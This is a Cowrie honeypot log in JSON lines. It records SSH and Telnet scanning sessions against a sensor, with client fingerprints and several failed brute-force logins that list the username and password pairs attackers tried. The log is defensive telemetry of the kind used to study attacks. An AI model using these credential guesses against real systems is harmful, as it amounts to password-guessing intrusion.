{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:38.484503Z","src_ip":"130.12.180.51","session":"82aecfdab523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:39.472066Z","src_ip":"162.241.132.172","session":"3cbff283b6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44022,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a5523ea337","protocol":"ssh","message":"New connection: 8.210.75.243:44022 (10.17.0.5:22) [session: 49a5523ea337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:46.631114Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:43:47.689610Z","src_ip":"8.210.75.243","session":"480bc31aee46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41604,"dst_ip":"159.203.135.109","dst_port":23,"session":"6544bf210b54","protocol":"telnet","message":"New connection: 170.64.224.25:41604 (159.203.135.109:23) [session: 6544bf210b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:07.211695Z"}
{"eventid":"cowrie.session.closed","duration":53.00085663795471,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:16.456034Z","src_ip":"170.64.224.25","session":"4324d022bee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56122,"dst_ip":"10.17.0.5","dst_port":22,"session":"d264bba4cf7a","protocol":"ssh","message":"New connection: 8.210.75.243:56122 (10.17.0.5:22) [session: d264bba4cf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:22.885285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:25.048289Z","src_ip":"8.210.75.243","session":"d264bba4cf7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52088,"dst_ip":"159.203.135.109","dst_port":23,"session":"94409a2ad204","protocol":"telnet","message":"New connection: 170.64.224.25:52088 (159.203.135.109:23) [session: 94409a2ad204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:36.474966Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fcea181cb73","protocol":"ssh","message":"New connection: 91.92.40.4:35258 (10.17.0.5:22) [session: 4fcea181cb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.064393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.068382Z","src_ip":"91.92.40.4","session":"4fcea181cb73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.149263Z","src_ip":"91.92.40.4","session":"4fcea181cb73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwer1234","message":"login attempt [hadoop/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.397477Z","src_ip":"91.92.40.4","session":"4fcea181cb73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56848,"dst_ip":"10.17.0.5","dst_port":22,"session":"93971588dffd","protocol":"ssh","message":"New connection: 103.172.78.219:56848 (10.17.0.5:22) [session: 93971588dffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.595692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.598957Z","src_ip":"103.172.78.219","session":"93971588dffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:39.854897Z","src_ip":"103.172.78.219","session":"93971588dffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:40.480758Z","src_ip":"91.92.40.4","session":"4fcea181cb73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140819","message":"login attempt [root/140819] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:40.619138Z","src_ip":"103.172.78.219","session":"93971588dffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:41.876066Z","src_ip":"103.172.78.219","session":"93971588dffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":39998,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b612254fd2a","protocol":"ssh","message":"New connection: 8.210.75.243:39998 (10.17.0.5:22) [session: 2b612254fd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:45.243701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:45.263173Z","src_ip":"8.210.75.243","session":"2b612254fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88887929916382,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:47.100450Z","src_ip":"170.64.224.25","session":"6544bf210b54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":50934,"dst_ip":"10.17.0.5","dst_port":22,"session":"378d3098f281","protocol":"ssh","message":"New connection: 38.242.143.220:50934 (10.17.0.5:22) [session: 378d3098f281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:57.024358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:57.028175Z","src_ip":"38.242.143.220","session":"378d3098f281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:57.126197Z","src_ip":"38.242.143.220","session":"378d3098f281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"finland","password":"Helsinki#Bitc0!n#P@ss","message":"login attempt [finland/Helsinki#Bitc0!n#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:57.405365Z","src_ip":"38.242.143.220","session":"378d3098f281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:44:58.503952Z","src_ip":"38.242.143.220","session":"378d3098f281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f38f8f535b5","protocol":"ssh","message":"New connection: 8.210.75.243:52096 (10.17.0.5:22) [session: 2f38f8f535b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:09.638247Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":46592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e935be4c8778","protocol":"ssh","message":"New connection: 182.93.7.194:46592 (159.203.135.109:22) [session: e935be4c8778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:10.252074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:10.255934Z","src_ip":"182.93.7.194","session":"e935be4c8778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:10.469098Z","src_ip":"182.93.7.194","session":"e935be4c8778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bangalore","password":"bangalore","message":"login attempt [bangalore/bangalore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:11.357924Z","src_ip":"182.93.7.194","session":"e935be4c8778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:12.574051Z","src_ip":"182.93.7.194","session":"e935be4c8778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.14677023887634,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:15.621645Z","src_ip":"170.64.224.25","session":"94409a2ad204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.48.46","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd53fa7f9b42","protocol":"telnet","message":"New connection: 107.155.48.46:35612 (10.17.0.5:23) [session: dd53fa7f9b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:28.760997Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:28.999674Z","src_ip":"107.155.48.46","session":"dd53fa7f9b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":39014,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f5e6f8039d","protocol":"ssh","message":"New connection: 143.20.185.207:39014 (10.17.0.5:22) [session: a6f5e6f8039d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:29.504248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:29.509971Z","src_ip":"143.20.185.207","session":"a6f5e6f8039d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:29.621886Z","src_ip":"143.20.185.207","session":"a6f5e6f8039d","protocol":"ssh"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:29.865523Z","src_ip":"107.155.48.46","session":"dd53fa7f9b42","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS4VCPU8GBAMD","message":"login attempt [root/XYZZVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:30.078354Z","src_ip":"143.20.185.207","session":"a6f5e6f8039d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:31.195733Z","src_ip":"143.20.185.207","session":"a6f5e6f8039d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:32.406494Z","src_ip":"8.210.75.243","session":"7c5f86ade2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:45:46.637004Z","src_ip":"8.210.75.243","session":"49a5523ea337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40340,"dst_ip":"159.203.135.109","dst_port":23,"session":"301428e9e88b","protocol":"telnet","message":"New connection: 170.64.224.25:40340 (159.203.135.109:23) [session: 301428e9e88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:00.096636Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40344,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b7372a9731","protocol":"telnet","message":"New connection: 170.64.224.25:40344 (159.203.135.109:23) [session: 40b7372a9731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:00.223025Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":52184,"dst_ip":"159.203.135.109","dst_port":22,"session":"edcb11a36d69","protocol":"ssh","message":"New connection: 162.144.213.198:52184 (159.203.135.109:22) [session: edcb11a36d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:05.404668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:05.408431Z","src_ip":"162.144.213.198","session":"edcb11a36d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:05.497755Z","src_ip":"162.144.213.198","session":"edcb11a36d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitfinextrading","password":"bitfinex123","message":"login attempt [bitfinextrading/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:05.766829Z","src_ip":"162.144.213.198","session":"edcb11a36d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:07.151336Z","src_ip":"162.144.213.198","session":"edcb11a36d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":41526,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c26f42d0e7c","protocol":"ssh","message":"New connection: 159.65.58.200:41526 (159.203.135.109:22) [session: 2c26f42d0e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:19.794814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:20.089407Z","src_ip":"159.65.58.200","session":"2c26f42d0e7c","protocol":"ssh"}
